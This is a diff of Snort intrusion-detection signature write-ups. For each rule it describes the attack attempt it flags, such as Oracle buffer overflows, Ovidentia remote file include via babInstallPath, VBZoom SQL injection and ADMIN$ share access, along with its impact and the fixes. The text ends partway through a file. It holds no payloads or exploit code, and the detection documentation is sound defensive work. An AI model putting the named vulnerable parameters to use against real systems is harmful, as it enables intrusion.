+Rule:
+
+--
+Sid:
+1617
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1758.txt
+++ snort-2.8.5.2/doc/signatures/1758.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1758
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2699.txt
+++ snort-2.8.5.2/doc/signatures/2699.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+2699
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure TO_CHAR.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2337.txt
+++ snort-2.8.5.2/doc/signatures/2337.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid: 
+2337
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Tellurian TftpdNT.
+
+--
+Impact:
+Execution of arbitrary code. Possible unauthorised root access.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious
+activity in FTP traffic between hosts.
+
+It is possible for an attacker to expoit a buffer overrun condition in
+Tellurian TftpdNT. User supplied filenames are not correctly handled by
+some versions of Tellurian TftpdNT, this may result in an attacker being
+able to cause the overrun condition to occur.
+
+--
+Affected Systems:
+	Tellurian TftpdNT 2.0 and prior
+
+--
+Attack Scenarios:
+An attacker may use a publicly available exploit script to take
+advantage of the vulnerability.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/579.txt
+++ snort-2.8.5.2/doc/signatures/579.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+579
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) mountd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port mountd is using.  Attackers can also learn what versions of the mountd protocol are accepted by mountd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as mountd run.  The mountd RPC service allows remote file system access through Network File System (NFS).  A vulnerability exists in the code that logs NFS mount activity that can cause a buffer overflow, allowing the execution of arbitrary code with root privileges.
+
+--
+Affected Systems:
+Caldera OpenLinux Standard 1.2
+RedHat Linux 2.0, 2.1, 3.0.3, 4.0, 4.1, 4.2, 5.0, 5.1
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where mountd runs.  This may be a precursor to accessing mountd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access mountd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for mountd, not probes of the mountd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the mountd service itself. An attacker may attempt to go directly to the mountd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/121
+
+CERT
+http://www.cert.org/advisories/CA-1998-12.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS13
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2732.txt
+++ snort-2.8.5.2/doc/signatures/2732.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2732
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_update_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000397.txt
+++ snort-2.8.5.2/doc/signatures/100000397.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000397
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "login.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "login.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/473.txt
+++ snort-2.8.5.2/doc/signatures/473.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+473
+
+--
+Summary:
+This event is generated when an ICMP Redirect Network message was
+detected in network traffic.
+
+--
+Impact:
+Unknown. Possible system crash, Denial of Service (DoS) for some
+embedded operating systems.
+
+--
+Detailed Information:
+Several susceptible IP Stack implementations may result in the system
+hanging or crashing when malformed or corrupted ICMP Redirect Network
+(Type 5, Code 0) packets are sent to them.  This vulnerability was first
+discovered in 1997.
+
+Under normal network conditions ICMP Redirect Network packets will occur
+in a number of situations. One such situation is when a host is on a
+subnet with more than one router. The host can only have one default
+gateway, and forwards all traffic for networks outside its own subnet to
+this gateway. If the default gateway detects that the gateway for this
+route is on the same subnet as the originating host, the default gateway
+forwards the packet onto this gateway and sends an ICMP Redirect Network
+to the originating host.
+
+This funtionality exists primarily to save network administrators from
+having to keep extensive routing tables on hosts, the host will remember
+the route learned from the ICMP Redirect Network message for a period of
+time, and will forward any traffic directly while it has the route in
+its cache.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios:
+A malicious user may send corrupted ICMP Redirect Net messages to
+networks in an attempt to crash a system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Any ICMP Network Redirect will generate an event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches for Microsoft Windows NT 4.0 were included in SP4, and also
+release as a post SP3 fix - teardrop2-fix.  Fixes are also available for
+Windows 95 and various embedded systems.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft KB, Q154174
+--
--- snort-2.8.5.2.orig/doc/signatures/100000664.txt
+++ snort-2.8.5.2/doc/signatures/100000664.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000664
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "name" parameter in the "edit.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2475.txt
+++ snort-2.8.5.2/doc/signatures/2475.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2475
+
+--
+Summary:
+This event is generated when an attempt is made to access the ADMIN$
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000108.txt
+++ snort-2.8.5.2/doc/signatures/100000108.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+100000108
+
+-- 
+Summary: 
+This event is generated when an SQL injection attempt is made against the 
+OpenBB web bulliten board system.
+
+-- 
+
+Impact: 
+Attackers may run arbitrary database commands with the privileges of the 
+affected script.
+
+--
+Detailed Information:
+This rule looks specifically for attacks against the board.php module of the 
+OpenBB program. Attackers must supply a variable whose value is numeric, 
+followed by a space, in order to exploit this vulnerability.
+
+--
+Affected Systems:
+OpenBB 1.0.5
+OpenBB 1.1.0
+
+--
+
+Attack Scenarios: 
+A web browser or a script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as example attacks that can be used with a web browser are publicly 
+available.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, no vendor-supplied patches are available. A descripton of an 
+unverified workaround is available in the Additional References section.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+http://www.securityfocus.com/archive/1/319714
+
+-- 
--- snort-2.8.5.2.orig/doc/signatures/405.txt
+++ snort-2.8.5.2/doc/signatures/405.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+405
+
+--
+
+Summary:
+This event is generated when An ICMP Source Host Isolated datagram is detected on the network.  
+
+--
+
+Impact:
+This is an indication of improperly configured routing equipment or network host.  RFC 1812 indicates that ICMP Type 3 ICMP Code 8 messages should never be generated.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network. Routers should never generate ICMP Type 11 Code 8 as they are in violation of RFC1812.   Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000474.txt
+++ snort-2.8.5.2/doc/signatures/100000474.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000474
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "meaning.php" with SQL commands being passed as the "QuaranID" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "QuaranID" parameter in the "meaning.php" script used by 
+the "VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2671.txt
+++ snort-2.8.5.2/doc/signatures/2671.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2671
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Internet Explorer.
+
+--
+Impact:
+A successful attack can cause a buffer overflow and present the attacker
+with the opportunity to execute code of their choosing on a vulnerable
+system.
+
+--
+Detailed Information:
+An error in the processing of bitmap images exists in Internet Explorer
+that can present an attacker with the opportunity to execute code of
+their choosing on a vulnerable system.
+
+The error exists due to poor boundary checking in the processing of
+bitmap images.
+
+--
+Affected Systems:
+	Microsoft Windows using Internet Explorer
+
+--
+Attack Scenarios:
+An attacker would need to supply a malformed bitmap image either in a
+web page or possibly via HTML email to a victim host.
+
+--
+Ease of Attack:
+Simple, exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/ms04-025.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2625.txt
+++ snort-2.8.5.2/doc/signatures/2625.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2625
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "unregister_user_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "privilege_type" variable
+to cause the overflow. The result could permit the attacker to gain
+escalated privileges and run code of their choosing. This attack
+requires an attacker to logon to the database with a valid username
+and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+ 
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck94.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1237.txt
+++ snort-2.8.5.2/doc/signatures/1237.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1237
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000403.txt
+++ snort-2.8.5.2/doc/signatures/100000403.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000403
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "directory.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "directory.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2428.txt
+++ snort-2.8.5.2/doc/signatures/2428.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2428
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2683.txt
+++ snort-2.8.5.2/doc/signatures/2683.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2683
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure sdo_code_size
+. This procedure is included in
+mdsys.md2.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1317.txt
+++ snort-2.8.5.2/doc/signatures/1317.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1317
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "anal sex".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "anal sex".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.  This rule could trigger on a medical website or any site discussing sex, pornographic or not.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/716.txt
+++ snort-2.8.5.2/doc/signatures/716.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+716
+
+--
+Summary:
+This event is generated when a remote user successfully connects to a telnet server. 
+
+--
+Impact:
+Remote access.  This event may be an indication of a successful telnet connection by an authorized or unauthorized user. 
+
+--
+Detailed Information:
